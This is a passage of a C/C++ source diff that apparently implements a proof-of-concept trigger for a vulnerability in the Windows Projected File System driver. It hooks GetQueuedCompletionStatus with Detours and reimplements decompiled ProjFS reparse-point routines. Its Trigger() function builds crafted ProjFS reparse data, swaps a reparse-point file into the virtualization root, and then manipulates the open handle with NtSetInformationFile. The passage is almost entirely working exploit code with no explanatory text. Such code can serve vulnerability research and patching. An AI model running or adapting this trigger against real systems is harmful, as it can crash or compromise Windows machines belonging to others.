DetourAttach(&(PVOID&)TrueGetQueuedCompletionStatus, MyGetQueuedCompletionStatus); + error = DetourTransactionCommit(); + + if (error == NO_ERROR) { + printf("Detoured GetQueuedCompletionStatus().\n"); + } + else { + printf("Error detouring GetQueuedCompletionStatus(): %d\n", error); + } +} + +HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath) +{ + unsigned __int64 Length; // rbx + const WCHAR* szLongPath; // rax + + Length = 0xFFFFFFFFFFFFFFFFui64; + do + ++Length; + while (szFilePath[Length]); + *pszLongPath2 = 0i64; + if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64)) + { + *pszLongPath = szFilePath; + } + else + { + szLongPath = (WCHAR*)calloc(Length + 5, 2ui64); + *pszLongPath2 = szLongPath; + if (!szLongPath) + return 0x8007000E; // E_OUTOFMEMORY + if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64) + || (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length)) + { + return 0x80004005; // E_FAIL + } + *pszLongPath = *pszLongPath2; + } + return 0; +} + +HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer) +{ + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15 + PCWSTR ErrorMessage; // rdi + HRESULT hr; // ebx + unsigned __int64 Length; // rcx MAPDST + ULONG Size; // ecx MAPDST + HANDLE FileHandle; // rax MAPDST + signed int LastError; // eax + unsigned int* EventDescriptor; // rdx + LPCWSTR hr64; // [rsp+40h] [rbp-49h] + LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF + PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF + + + Length = 0xFFFFFFFFFFFFFFFFui64; + hr64 = 0i64; + pszLongPath2 = 0i64; + ErrorMessage = 0i64; + FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64; + if (!pReparseDataBuffer) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_3; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64); + if (!ReparseDataBuffer) + { + ErrorMessage = L"Couldn't allocate memory for Reparse Data"; + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_3: + Size = 2; + return hr; + } + hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath); + if (hr < 0) + { + ErrorMessage = L"PrjpConstructLongPath failed"; + goto LABEL_21; + } + hr = 0; + FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + { + ErrorMessage = L"Failed to open file"; + goto LABEL_14; + } + if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT + { + ErrorMessage = L"Failed to get reparse point"; + LABEL_14: + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + LABEL_21: + free(ReparseDataBuffer); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + goto LABEL_25; + goto LABEL_24; + } + if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022) + { + ErrorMessage = L"Another Reparse Tag Encountered"; + hr = 0x8007112A; + goto LABEL_21; + } + *pReparseDataBuffer = ReparseDataBuffer; +LABEL_24: + CloseHandle(FileHandle); +LABEL_25: + + if (pszLongPath2) + free((void*)pszLongPath2); + if (hr >= 0) + return hr; + if (hr != 0x80071126) + goto LABEL_3; + + return hr; +} + + +void Trigger() { + BOOL bResult = FALSE; + HRESULT hr = 0; + USHORT Length = 0; + HANDLE DirFileHandle = NULL; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + + bResult = RemoveDirectoryW(L"c:\\PrjTest\\virtroot"); + DeleteFileW(L"c:\\PrjTest\\virtroot"); + + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + + hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\PrjTest\\virtroot2", ReparseData, Length, 0x9000001C, false); + + + _PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL; + hr = PrjpReadReparsePoint(L"c:\\PrjTest\\virtroot2", &pReparseDataBuffer); + + pReparseDataBuffer = NULL; + bResult = MoveFileExW(L"c:\\PrjTest\\virtroot2", L"c:\\PrjTest\\virtroot", MOVEFILE_REPLACE_EXISTING); + hr = PrjpReadReparsePoint(L"c:\\PrjTest\\virtroot", &pReparseDataBuffer); + + { + ULONG64 FileEndOfFileInfo = 0i64; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + int Status = NtSetInformationFile(DirFileHandle, &IoStatusBlock, &FileEndOfFileInfo, 8u, FileEndOfFileInformation); + printf("NtSetInformationFile 0x%x\n", Status); + } + + FileHandle = CreateFileW(L"c:\\PrjTest\\virtroot", GENERIC_READ | GENERIC_WRITE, 3u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + +} + +void Main() +{ + LoadHook(); + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + PortInit(); + + Trigger(); +} + +int wmain(int argc, WCHAR* argv[]) +{ + Main(); + getchar(); + + return 0; +} \ No newline at end of file